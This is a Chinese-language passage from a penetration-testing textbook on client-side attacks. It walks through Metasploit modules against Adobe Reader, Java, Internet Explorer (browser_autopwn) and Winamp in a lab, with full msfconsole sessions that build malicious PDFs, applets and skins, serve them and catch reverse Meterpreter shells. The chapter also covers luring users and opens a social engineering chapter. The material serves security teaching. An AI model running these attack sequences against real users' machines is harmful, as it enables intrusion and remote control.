这次我们得到了一个会话，表示AutoRunScript参数已自动处理 ❶。migrate脚本生成了一个notepad.exe进程，并迁移到了该进程中 ❷。当 Internet Explorer 崩溃时，我们的会话仍然保持活跃。

尽管在使用浏览器漏洞时自动迁移是一个好主意，但迁移的过程仍然需要几秒钟——这几秒钟内，用户可能会关闭浏览器并结束我们的会话。幸运的是，下面显示的高级 Meterpreter 选项PrependMigrate将更快地进行迁移，甚至在有效负载运行之前。

Name           : PrependMigrate
Current Setting: false
Description    : Spawns and runs shellcode in new process

你可以将此选项设置为true，作为我们之前使用的AutoRunScript的替代方案。

这只是浏览器漏洞利用的一个例子。Metasploit 还有其他模块用于利用 Internet Explorer 以及其他流行网页浏览器中的漏洞。随着更多组织加固了外部安全防护，浏览器漏洞利用已经成为许多渗透测试和攻击中的突破口。

注意

Aurora 漏洞在 2010 年已被修复，但用户和组织在保持浏览器更新方面做得不好，因此这个漏洞利用至今仍能找到目标。此外，尽管新型操作系统远程漏洞较为罕见，但像 Internet Explorer 这样的大型浏览器常常成为新型客户端攻击的受害者。使用如第四章所述的 Msfupdate 获取最新的模块，这些模块可能针对的新漏洞有些甚至在模块发布时，供应商还未修复。请注意，运行 Msfupdate 可能会影响 Metasploit 的工作，这可能使你在阅读本书时遇到困难。因此，建议你在读完整本书后再更新 Metasploit。

现在，让我们来看一些其他的客户端软件，它们也可能被利用来在目标系统上执行命令。

PDF 漏洞利用

可移植文档格式（PDF）软件也可以被利用。如果用户被诱导在易受攻击的查看器中打开恶意 PDF，程序就可能被利用。

Windows 系统中最流行的 PDF 查看器是 Adobe Reader。像浏览器一样，Adobe Reader 的历史上充满了安全漏洞。同样像浏览器，即使有补丁管理流程，定期更新操作系统时，PDF 软件经常被忽视，仍然停留在较旧且易受攻击的版本。

利用 PDF 漏洞

我们的 Windows XP 目标系统安装了过时版本的 Adobe Reader 8.1.2，存在 CVE-2008-2992 漏洞，这是一个基于栈的缓冲区溢出漏洞。对应的 Metasploit 模块是 exploit/windows/fileformat/adobe_utilprintf。

这个模块的选项与我们之前看到的有些不同，如在示例 10-10 中所示。这是一个客户端攻击，因此没有RHOST选项，但与我们的浏览器攻击不同，这里也没有SRVHOST或SRVPORT选项。这个模块仅仅是生成一个恶意 PDF；托管它并交付以及设置有效载荷处理程序则由我们来完成。当然，我们具备完成这两项任务所需的所有技能。

示例 10-10. 一个 Metasploit PDF 漏洞

msf > **use exploit/windows/fileformat/adobe_utilprintf**
msf  exploit(adobe_utilprintf) > **show options**

Module options (exploit/windows/fileformat/adobe_utilprintf):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
  ❶FILENAME  msf.pdf          yes       The file name.

Exploit target:

   Id  Name
   --  ----
  ❷0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf  exploit(adobe_utilprintf) > **exploit**

[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf ❸

如你所见，PDF 漏洞的唯一选项是要生成的恶意文件的名称❶。我们可以保留默认值，msf.pdf。在这个例子中，我们将让 Metasploit 使用默认的有效载荷，windows/meterpreter/reverse_tcp，监听端口 4444。当我们输入exploit时，Metasploit 会生成一个 PDF，利用 Windows XP SP3 英文版中 Adobe Reader 的易受攻击版本的漏洞❷。这个恶意 PDF 被保存在 /root/.msf4/local/msf.pdf ❸。

现在，我们需要服务这个 PDF 并为有效载荷设置处理程序，如在示例 10-11 中所示。

示例 10-11. 服务恶意 PDF 并使用处理程序

msf  exploit(adobe_utilprintf) > **cp /root/.msf4/local/msf.pdf /var/www**
[*] exec: cp /root/.msf4/local/msf.pdf /var/www

msf  exploit(adobe_utilprintf) > **service apache2 start**
[*] exec service apache2 start

Starting web server: apache2.

msf  exploit(adobe_utilprintf) > **use multi/handler**❶
msf  exploit(handler) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > **set LHOST 192.168.20.9**
lhost => 192.168.20.9
msf  exploit(handler) > **exploit**

[*] Started reverse handler on 192.168.20.9:4444
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:4444 -> 192.168.20.10:1422) at
2015-05-05 20:26:15 -0400 ❷

我们将文件复制到 Apache web 服务器的文件夹中，并启动服务器（如果服务器还没有运行的话）。稍后我们会讨论如何诱使用户打开恶意文件，但现在我们仅仅是在 Windows XP 目标机上使用 Adobe Reader 8.1.2 打开恶意 PDF。不过，首先，我们需要为有效载荷设置处理程序。我们可以使用 multi/handler ❶ 模块，正如我们在第四章中学到的那样。（如果 Aurora 作业的处理程序也在监听 4444 端口，请确保终止该作业，以便释放端口供 multi/handler 使用）。当我们打开恶意 PDF 时，我们再次收到一个会话 ❷。

通常像这样的攻击我们不会只针对一个用户。为了获得最佳效果，我们可能会将这个恶意 PDF 作为社会工程学攻击的一部分，如下一章所述，通过发送几个甚至数百个恶意 PDF 来诱使用户打开它们。我们之前设置的multi/handler监听器会在接收到第一个连接时关闭，这样就会错过其他用户打开 PDF 后可能产生的连接。如果我们能够保持监听器打开，以捕获更多的传入连接，那就更好了。

事实证明，multi/handler模块的一个高级选项解决了这个问题。如示例 10-12 所示，默认情况下，ExitOnSession选项被设置为true，它指定监听器在收到会话后是否关闭。如果我们将此选项设置为false，监听器将保持打开状态，并允许我们用一个处理程序捕获多个会话。

示例 10-12. 保持处理程序开放以进行多次会话

msf exploit(handler) > **show advanced**
Module advanced options:
--*snip*--
   Name           : ExitOnSession
   Current Setting: true
   Description    : Return from the exploit after a session has been created
msf exploit(handler) > **set ExitOnSession false**❶
ExitOnSession => false
msf exploit(handler) > **exploit -j**❷
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Starting the payload handler...

按照通常的方式将ExitOnSession设置为false ❶。这个选项的副作用是，如果我们，例如，利用漏洞并在前台启动监听器，它将永远不会关闭，这样我们就会在没有 Msfconsole 提示符的情况下被卡住。因此，Metasploit 会抱怨并指出你应该在使用exploit时使用-j选项 ❷，将处理程序作为后台任务运行。这样，你可以在后台捕获任何传入的 shell 的同时继续使用 Msfconsole。要关闭处理程序，可以使用jobs，然后使用kill <任务编号>，如我们在 Aurora 示例中所做的那样。

这个漏洞和前面讨论的 Aurora 浏览器示例都依赖于缺少的安全补丁。在这里，我们利用了一个安全漏洞，通过欺骗用户让我们运行恶意代码，从而劫持了程序的控制权。如果用户允许我们运行代码，PDF 软件中的漏洞就变得不再必要。

PDF 嵌入的可执行文件

现在进行另一个 PDF 攻击：这次我们将在 PDF 中嵌入一个恶意可执行文件。相应的 Metasploit 模块是exploit/windows/fileformat/adobe_pdf_embedded_exe，如示例 10-13 所示。生成的 PDF 不会在打开时立刻利用软件漏洞，而是会提示用户允许运行嵌入的文件。我们的攻击成功与否取决于用户是否允许执行我们嵌入的可执行文件。

示例 10-13. PDF 嵌入的 EXE 模块

msf > **use exploit/windows/fileformat/adobe_pdf_embedded_exe**
msf  exploit(adobe_pdf_embedded_exe) > **show options**

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

   Name            Current Setting                        Required  Description
   ----            ---------------                        --------  -----------
  ❶EXENAME                                                no        The Name of payload exe.
  ❷FILENAME        evil.pdf                               no        The output filename.
  ❸INFILENAME                                             yes       The Input PDF filename.
  ❹LAUNCH_MESSAGE  To view the encrypted content please   no        The message to display in
                     tick the "Do not show this message               the File: area
                     again" box and press Open.
--*snip*--

该模块允许我们通过EXENAME ❶选项指定一个预构建的可执行文件。如果我们不设置此选项，我们可以嵌入一个从我们选择的任何有效载荷创建的.exe文件。我们还可以将文件名更改为任何我们喜欢的名字，或者保持默认值 ❷不变。要使用此模块，我们必须使用一个输入 PDF 来设置INFILENAME ❸选项。LAUNCH_MESSAGE ❹选项是将显示给用户的文本，作为运行可执行文件的提示。

设置相关选项，如示例 10-14 所示。

示例 10-14. 设置模块选项并创建恶意 PDF

msf  exploit(adobe_pdf_embedded_exe) > **set INFILENAME** **/usr/share/set/readme/User_Manual.pdf**❶
INFILENAME => /usr/share/set/readme/User_Manual.pdf
msf  exploit(adobe_pdf_embedded_exe) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf  exploit(adobe_pdf_embedded_exe) > **set LHOST 192.168.20.9**
                                                                             LHOST => 192.168.20.9
msf  exploit(adobe_pdf_embedded_exe) > **exploit**

[*] Reading in '/usr/share/set/readme/User_Manual.pdf'...
[*] Parsing '/usr/share/set/readme/User_Manual.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[*] Parsing Successful. Creating 'evil.pdf' file...
[+] evil.pdf stored at /root/.msf4/local/evil.pdf❷

我们将使用 Kali Linux 附带的 PDF 作为示例：Metasploit 用户指南，位于/user/share/set/readme/User_Manual.pdf ❶。生成的 PDF 将再次存储在/root/msf4/local/目录中 ❷。（在 Windows XP 目标上打开 PDF 之前，请确保使用multi/handler模块设置好负载处理程序。若需要复习，请参见示例 10-11。）

注意

之前的漏洞利用可能已将 Adobe Reader 置于不良状态，因此你可能需要重启 Windows XP，以便它正确加载新的 PDF。

当恶意 PDF 被打开时，用户会看到类似图 10-1 所示的警告。用户必须点击“打开”以便嵌入的可执行文件运行。此攻击依赖于用户愿意点击此警告。

图 10-1. PDF 嵌入式可执行文件用户警告

一旦你点击 PDF 警告中的“打开”选项，负载将会运行，你将收到一个会话。

Java 漏洞利用

Java 漏洞是一个普遍存在的客户端攻击向量。事实上，一些专家建议，鉴于 Java 所面临的安全问题，用户应该卸载或禁用浏览器中的 Java 软件。

Java 攻击如此强大的原因之一是，一个漏洞利用可以访问多个平台。运行 Java 运行时环境（JRE）的 Windows、Mac，甚至是 Linux 系统，只要浏览器打开恶意页面，都可能受到同一漏洞的攻击。以下是一些漏洞利用示例。

Java 漏洞

作为第一个示例，我们将使用 Metasploit 模块exploit/multi/browser/java_jre17_jmxbean，如示例 10-15 所示。使用此模块与本章早些时候展示的 Internet Explorer Aurora 漏洞利用类似。Metasploit 设置一个恶意服务器，利用此跨平台漏洞攻击任何到达该页面的浏览器。所有运行 Java 7 版本（更新 11 之前）的浏览器都会受到影响。

示例 10-15. 设置 Java 漏洞利用

msf > **use exploit/multi/browser/java_jre17_jmxbean**
msf  exploit(java_jre17_jmxbean) > **show options**

Module options (exploit/multi/browser/java_jre17_jmxbean):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address
                                            on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
--*snip*--
   URIPATH                      no        The URI to use for this exploit (default is random)

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_jre17_jmxbean) > **set SRVHOST 192.168.20.9**
SRVHOST => 10.0.1.9
msf  exploit(java_jre17_jmxbean) > **set SRVPORT 80**
SRVPORT => 80
msf  exploit(java_jre17_jmxbean) > **set URIPATH javaexploit**
URIPATH => javaexploit
msf  exploit(java_jre17_jmxbean) > **show payloads**❶

Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
--*snip*--
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, Java Bind TCP
                                                                  Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, Java Reverse HTTP
                                                              Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, Java Reverse
                                                              HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, Java Reverse TCP
                                                              Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, Reverse TCP
                                                              Inline
--*snip*--
msf  exploit(java_jre17_jmxbean) > **set payload java/meterpreter/reverse_http**❷
payload => java/meterpreter/reverse_http

设置选项以匹配你的环境。将 SRVHOST 选项设置为本地 IP 地址，并根据需要更改 SRVPORT。将 URIPATH 设置为目标浏览器中易于输入的路径。

请注意，由于这个漏洞利用是多平台的，且代码执行完全在 JRE 内部进行，因此我们的有效载荷选项是基于 Java 的。常见的选项都在这里，包括分阶段有效载荷、内联有效载荷、绑定 shell、反向 shell、Meterpreter 等，正如 ❶ 所示的有效载荷列表所示。我们将使用有效载荷 java/meterpreter/reverse_http，它使用合法的 HTTP 流量 ❷。其选项如示例 10-16 所示。

示例 10-16. 使用 HTTP 有效载荷利用 Java 漏洞

msf  exploit(java_jre17_jmxbean) > **show options**

Module options (exploit/multi/browser/java_jre17_jmxbean):

--*snip*--

Payload options (java/meterpreter/reverse_http):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8080             yes       The local listener port

Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

msf  exploit(java_jre17_jmxbean) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(java_jre17_jmxbean) > **exploit**
[*] Exploit running as background job.

[*] Started HTTP reverse handler on http://192.168.20.9:8080/
[*] Using URL: http://192.168.20.9:80/javaexploit
[*] Server started.
msf  exploit(java_jre17_jmxbean) > [*] 192.168.20.12       java_jre17_jmxbean - handling request for /javaexploit
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12        java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12:49188 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.20.9:8080 -> 192.168.20.12:49188) at 2015-05-05
19:15:19 -0400

这些选项应该很熟悉。默认的 LPORT 选项现在是 8080，而不是 4444。请注意，SRVPORT 和 LPORT 都默认为 8080，所以我们需要至少更改其中一个。

完成选项设置后，启动漏洞利用服务器，并从你的 Windows 7 目标机器上浏览恶意页面。只要启用了易受攻击的 Java 浏览器插件，Internet Explorer 或 Mozilla Firefox 都会成为此攻击的受害者。

HTTP 和 HTTPS Meterpreter 有效载荷的一个大特点是，除了它们是合法的 HTTP 和 HTTPS 流量，因而能够绕过一些流量检查过滤器外，它们还能够重新连接到断开的会话。（网络问题可能导致会话自发中断——这对于渗透测试人员来说是一个大麻烦。）我们将在第十三章中探讨其他持续访问的方法，但现在我们先来分离 Meterpreter 会话，如示例 10-17 所示。

示例 10-17. 分离 HTTP Meterpreter 会话

msf  exploit(java_jre17_jmxbean) > **sessions -i 1**
[*] Starting interaction with 1...

meterpreter > **detach**

[*] 10.0.1.16 - Meterpreter session 1 closed.  Reason: User exit
msf  exploit(java_jre17_jmxbean) >
[*] 192.168.20.12:49204 Request received for /WzZ7_vgHcXA6kWjDi4koK/...
[*] Incoming orphaned session WzZ7_vgHcXA6kWjDi4koK, reattaching...
[*] Meterpreter session 2 opened (192.168.20.9:8080 -> 192.168.20.12:49204) at 2015-05-05 19:15:45 -0400 ❶

如你所见，HTTP Meterpreter 有效载荷的处理程序仍在后台运行。稍等几秒钟，你应该能看到一个新会话自动打开，而无需用户重新访问攻击页面，如 ❶ 所示。除非会话已正式退出，否则有效载荷会继续尝试重新连接 Metasploit。（你可以使用 SessionCommunicationTimeOut 参数指定会话尝试重新连接的时间，这是有效载荷的高级选项。）

但如果你的渗透测试目标在更新 Java 方面非常勤奋，并且目前互联网上没有针对该软件的零日漏洞会怎么样呢？

签名的 Java Applet

与 PDF 嵌入式可执行文件中讨论的针对 PDF 用户的攻击类似，我们可以通过简单地要求用户允许我们运行恶意代码来绕过未修补的 Java 漏洞。你可能见过类似这样的浏览器警告：“此站点希望在您的浏览器中运行此内容，您希望如何操作？”有时即便是安全意识强的用户，如果被说服认为对方内容有用，他们也可能会直接点击“是”并跳过警告，而不做进一步调查。

本示例中我们将使用的模块是exploit/multi/browser/java_signed_applet。顾名思义，该模块将创建一个恶意的 Java 小程序，如示例 10-18 所示。

示例 10-18. Metasploit 签名的 Java 小程序模块

msf  exploit(java_jre17_jmxbean) > **use exploit/multi/browser/java_signed_applet**
msf  exploit(java_signed_applet) > **show options**

Module options (exploit/multi/browser/java_signed_applet):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
  ❶CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain
                                                ',' or '/'
   SRVHOST         0.0.0.0          yes       The local host to listen on. This must be an
                                                address on the local machine or 0.0.0.0
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is
                                                randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used
                                                (accepted: SSL2, SSL3, TLS1)
  ❷SigningCert                      no        Path to a signing certificate in PEM or PKCS12
                                                (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert
                                                is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is
                                                random)

Exploit target:

   Id  Name
   --  ----
  ❸1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > **set APPLETNAME BulbSec**
APPLETNAME => Bulb Security
msf  exploit(java_signed_applet) > **set SRVHOST 192.168.20.9**
SRVHOST => 192.168.20.9
msf  exploit(java_signed_applet) > **set SRVPORT 80**
SRVPORT => 80

旧版本的 Java 允许我们使用❶所示的CERTCN选项，声明小程序由我们选择的任何实体签名。较新的 Java 版本（如 Windows 7 目标系统上安装的版本）会显示签名者未知，除非我们使用受信任的签名证书对小程序进行签名，而我们可以在❷处指定该证书。如果设置了此选项，它将覆盖CERTCN选项。如果我们拥有受信任的签名证书，或者我们已经突破了目标系统的证书，我们可以让小程序看起来更合法，但在本示例中我们将保持小程序自签名。

如❸所示，本模块的默认目标是 Windows 系统。然而，如示例 10-19 所示，我们可以使用适用于运行 JRE 的其他平台的有效载荷。

示例 10-19. 使用 Java 有效载荷

msf  exploit(java_signed_applet) > **show targets**

Exploit targets:

   Id  Name
   --  ----
  ❶0   Generic (Java Payload)
   1   Windows x86 (Native Payload)
   2   Linux x86 (Native Payload)
   3   Mac OS X PPC (Native Payload)
   4   Mac OS X x86 (Native Payload)

msf  exploit(java_signed_applet) > **set target 0**
target => 0

msf  exploit(java_signed_applet) > **set payload java/meterpreter/reverse_tcp**
payload => java/meterpreter/reverse_tcp

msf  exploit(java_signed_applet) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(java_signed_applet) > **exploit**
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/Dgrz12PY
[*] Server started.

与其他 Java 漏洞一样，我们可以将此攻击扩展到多个平台。我们可以将目标更改为 Linux 或 Mac OS，或使用一个 Java 有效载荷❶来同时针对所有平台。

注意

与我们的 PDF 示例类似，之前的漏洞攻击已使 Java 处于不良状态，您可能需要在尝试运行小程序之前重新启动 Windows 7。

从您的 Windows 7 目标系统浏览到 Metasploit 服务器，您应该会被提示运行小程序，如图 10-2 所示。安全警告提醒您，如果该小程序是恶意的，它将能够访问系统，并告知您仅在发布者受信的情况下才应运行该应用程序。由于我们没有使用浏览器证书链信任的签名证书，警告会以大字显示发布者未知。这应该会阻止任何人运行恶意小程序，对吧？

图 10-2. Java 小程序攻击

尽管有警告，Social-Engineer Toolkit（我们将在下一章中探讨）声称这个攻击是所有可用攻击中最成功的之一，尽管它不依赖于 Java 或底层操作系统中的任何未修补的漏洞。

browser_autopwn

browser_autopwn模块是 Metasploit 中另一种客户端攻击选项。尽管有时它被认为是在作弊，但该模块会加载它知道的所有浏览器和浏览器插件模块（包括 Java、Flash 等），并等待浏览器连接到服务器。一旦浏览器连接，服务器会识别浏览器并提供所有它认为可能成功的漏洞利用。示例见示例 10-20。

示例 10-20. 启动 browser_autopwn

msf > **use auxiliary/server/browser_autopwn**
msf auxiliary(browser_autopwn) > **show options**

Module options (auxiliary/server/browser_autopwn):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   LHOST                        yes       The IP address to use for reverse-connect payloads
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address
                                            on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly
                                            generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used
                                            (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)

msf auxiliary(browser_autopwn) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf auxiliary(browser_autopwn) > **set URIPATH autopwn**
URIPATH => autopwn
msf auxiliary(browser_autopwn) > **exploit**
[*] Auxiliary module execution completed

[*] Setup
msf auxiliary(browser_autopwn) >
[*] Obfuscating initial javascript 2015-03-25 12:55:22 -0400
[*] Done in 1.051220065 seconds

[*] Starting exploit modules on host 192.168.20.9...
--*snip*--
[*] --- Done, found 16 exploit modules

[*] Using URL: http://0.0.0.0:8080/autopwn
[*] Local IP: http://192.168.20.9:8080/autopwn
[*] Server started.

本模块的选项是常见的客户端攻击。如图所示，我已经将我的 shell 的 LHOST 设置为 Kali 的 IP 地址，URIPATH 设置为容易记住的内容（autopwn）。请注意，我们这里不需要设置任何 payload；当各个模块加载时，Metasploit 会自动适当地设置 payload 选项。

服务器启动后，从网页浏览器访问恶意页面。我在 Windows 7 目标上使用了 Internet Explorer，如示例 10-21 所示。

示例 10-21. 自动攻陷浏览器

[*] 192.168.20.12    browser_autopwn - Handling '/autopwn'
[*] 192.168.20.12    browser_autopwn - Handling '/autopwn?sessid=TWljcm9zb2Z0IFdpbmRvd3M6NzpTUDE6ZW4tdXM6eDg2Ok1TSUU6OC4wOg%3d%3d'
[*] 192.168.20.12    browser_autopwn - JavaScript Report: Microsoft Windows:7:SP1:en-us:x86:
MSIE:8.0: ❶
[*] 192.168.20.12    browser_autopwn - Responding with 14 exploits ❷
[*] 192.168.20.12    java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation Vulnerability
--*snip*--
msf auxiliary(browser_autopwn) > **sessions -l**

Active sessions
===============

  Id  Type                   Information                  Connection
  --  ----                   -----------                  ----------
  1   meterpreter java/java  Georgia Weidman @ BookWin7   192.168.20.9:7777 ->
                                                            192.168.20.12:49195 (192.168.20.12)
  2   meterpreter java/java  Georgia Weidman @ BookWin7   192.168.20.9:7777 ->
                                                            192.168.20.12:49202 (192.168.20.12)
  3   meterpreter java/java  Georgia Weidman @ BookWin7   192.168.20.9:7777 ->
                                                            192.168.20.12:49206 (192.168.20.12)
  4   meterpreter java/java  Georgia Weidman @ BookWin7   192.168.20.9:7777 ->
                                                            192.168.20.12:49209 (192.168.20.12)

正如你所看到的，Metasploit 会检测到我的浏览器并尝试识别其版本和运行的软件❶。然后，它会发送所有它认为可能有效的漏洞利用❷。

一切结束后，运行sessions -l来查看结果。在我的案例中，我收到了四个新的会话。对于这么少的工作量来说，表现不错。不过，正如你可能预期的那样，所有这些漏洞利用使浏览器过载并崩溃了。（幸运的是，所有会话都自动迁移了。）

尽管browser_autopwn远没有执行侦察然后选择针对目标可能有效的特定漏洞利用那样隐蔽或优雅，但它在紧急情况下确实能派上大用场，这也是它值得作为渗透测试工具包的一部分的原因。

Winamp

到目前为止，我们的客户端攻击基本上遵循相同的模式。我们生成一个恶意文件，利用客户端软件中的漏洞，或者提示用户授权运行恶意代码。用户使用相关程序打开文件，然后我们在 Metasploit 中获得一个会话。现在，来点不一样的。

在这个例子中，我们通过欺骗用户替换 Winamp 音乐播放器的配置文件。当用户下次打开该程序时，无论用户打开哪个音乐文件，恶意的配置文件都会被处理。我们将使用的 Metasploit 模块是exploit/windows/fileformat/winamp_maki_bof，它利用了 Winamp 5.55 版本中的一个缓冲区溢出问题。

如示例 10-22 中的 show options 所示，本模块没有需要设置的选项；我们所需的只是一个 Windows 有效载荷。该模块生成一个用于 Winamp 皮肤的恶意 Maki 文件。与我们的 PDF 示例一样，最终由我们来提供该文件并为有效载荷设置处理程序。

示例 10-22. Metasploit Winamp 漏洞利用

msf > **use exploit/windows/fileformat/winamp_maki_bof**
msf  exploit(winamp_maki_bof) > **show options**

Module options (exploit/windows/fileformat/winamp_maki_bof):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Winamp 5.55 / Windows XP SP3 / Windows 7 SP1

msf  exploit(winamp_maki_bof) > **set payload windows/meterpreter/reverse_tcp**
payload => windows/meterpreter/reverse_tcp
msf  exploit(winamp_maki_bof) > **set LHOST 192.168.20.9**
LHOST => 192.168.20.9
msf  exploit(winamp_maki_bof) > **exploit**

[*] Creating 'mcvcore.maki' file ...
[+] mcvcore.maki stored at /root/.msf4/local/mcvcore.maki

选择一个兼容的 Windows 有效载荷，如所示。一旦生成了恶意的 Maki 文件，将其复制到 Apache Web 服务器目录，并设置有效载荷处理程序。（设置处理程序的示例请参考示例 10-11）。现在我们需要将这个恶意文件打包，以便说服用户在 Winamp 中加载它。我们可以通过复制 Winamp 打包的皮肤之一来创建一个新的 Winamp 皮肤。然后将我们示例皮肤中的 mcvcore.maki 文件替换为我们恶意的文件。皮肤的外观无关紧要，因为它会导致 Winamp 崩溃并将会话发送到我们的 Metasploit 中。

在 Windows 7 中，复制默认的 Bento Winamp 皮肤文件夹（路径为 C:\Program Files\Winamp\Skins），并将其复制到 Kali 中。将文件夹名称从 Bento 重命名为 Rocketship。将 Rocketship\scripts\mcvcore.maki 文件替换为我们在 Metasploit 中创建的恶意文件。将文件夹压缩并复制到 Web 服务器中。在下一章中，我们将研究如何创建可信的社会工程学攻击，但可以简单地说，如果我们能够说服用户相信这个恶意皮肤会让他们的 Winamp 看起来像火箭船，那么我们可能能够说服他们安装它。

切换到 Windows 7，从 Kali Web 服务器下载压缩的皮肤，解压缩并将文件夹保存到 C:\Program Files\Winamp\Skins，如图 10-3 所示。

图 10-3. 安装恶意 Winamp 皮肤

现在打开 Winamp，进入选项 ▸ 皮肤，选择 火箭船，如图 10-4 所示。

一旦选择了恶意皮肤，Winamp 会显示关闭状态，您将会在 Metasploit 处理程序中接收到一个会话。

图 10-4. 使用恶意皮肤

总结

本章中我们看到的攻击目标是那些未在网络端口上监听的软件下载。我们攻击了浏览器、PDF 查看器、Java 浏览器插件以及一个音乐播放器。我们生成了恶意文件，这些文件在用户打开时会触发客户端软件中的漏洞，我们还查看了那些要求用户授权运行恶意代码，而不是依赖未修补漏洞的例子。

对于客户端软件来说，互联网可能是一个可怕的地方。本章中讨论的一些漏洞在发布厂商补丁之前，已经在野外被发现。事实上，我们在 Java 漏洞中使用的 Java 漏洞，在 Metasploit 模块加入框架时，仍然是一个零日漏洞。即便某个用户的计算机已经完全修补，如果他们使用的是 Java 7，也可能遭遇恶意网站的攻击，而攻击者所需要做的仅仅是使用 Metasploit 成功发动攻击。

当然，在出现零日漏洞在互联网上肆虐时，禁用或卸载 Java 可以解决这个问题，但对于所有用户和组织来说，这可能不可行。尽管并非所有网站都使用 Java，但像 WebEx 和 GoToMeeting 这样的流行在线会议软件需要 Java，而虚拟课堂软件 Blackboard 也有 Java 组件。许多网络/安全设备实际上要求网络/安全管理员运行过时版本的 Java，这使得它们成为客户端攻击的完美目标。大多数读者或许能想到至少一个在没有安装 Java 时会发出警告的网站。

客户端软件对于任何组织的日常工作是必需的，但在评估安全风险时，不应忽视这些软件。保持所有客户端软件更新到最新的补丁版本，可能在个人计算机上已经是一个令人头疼的任务，更不用说整个组织的计算机了。即使一些组织在应用重要的 Windows 安全修复方面做得很好，也可能错过 Java 或 Adobe Reader 的更新，从而使公司工作站暴露于客户端攻击之下。

本章中的所有攻击都依赖于合法用户在目标系统上采取行动。虽然我们已经看到用户被欺骗打开恶意文件后可能发生的情况，但我们尚未深入探讨使人们打开这些文件的技巧。在下一章中，我们将研究社会工程学——即欺骗用户执行有害行为的方式，比如打开恶意文件、将凭据输入到攻击者控制的网站，或通过电话泄露敏感信息。

第十一章社会工程学

信息安全领域有一句常见的话：“用户是永远无法修补的漏洞。”你可以设置所有想要的安全控制，但如果一个员工被说服泄露敏感的公司信息，那一切都是徒劳。事实上，许多最著名的黑客事件根本没有涉及系统漏洞的利用。

例如，考虑到臭名昭著的黑客凯文·米特尼克。米特尼克最著名的一些黑客事件，通常是走进一座大楼，说服保安他有权限在那里，然后带着自己想要的东西走出去。这种攻击，称为社会工程学，利用了人的弱点：愿意提供帮助的心理、对安全政策的不了解等等。

社会工程学攻击可以涉及复杂的技术要求，也可以根本不需要技术。一个社会工程师可以在二手商店买一套电缆工制服，潜入一个组织，甚至进入服务器机房。IT 帮助台可能接到一个来自老板助理的慌张电话，他声称自己无法访问公司的网页邮件账户。人们通常想要帮助别人，所以除非有安全的政策规定，否则帮助台工作人员可能会在电话中复述密码，或者将密码重置为默认值，尽管来电者并不是他所声称的那个人。

社会工程学攻击的一个常见途径是电子邮件。如果你在工作中有点无聊，不妨检查一下你的电子邮件垃圾邮件文件夹。在那些让某些东西变大、某些东西变小的广告中，你会发现有人拼命想把他们所有的钱都给你。我坚信，如果你能找到那个真的想把财富送给你的非洲王子，那么所有那些因为回复网络钓鱼邮件而导致你的银行账户被黑的经历都是值得的。开个玩笑，试图通过伪装成可信任的人，诱使用户泄露敏感信息的行为，称为钓鱼攻击。钓鱼邮件可以用于诱导目标访问恶意网站或下载恶意附件等。社会工程学攻击是让用户成为我们在第十章中研究的客户端攻击的受害者所必需的缺失环节。

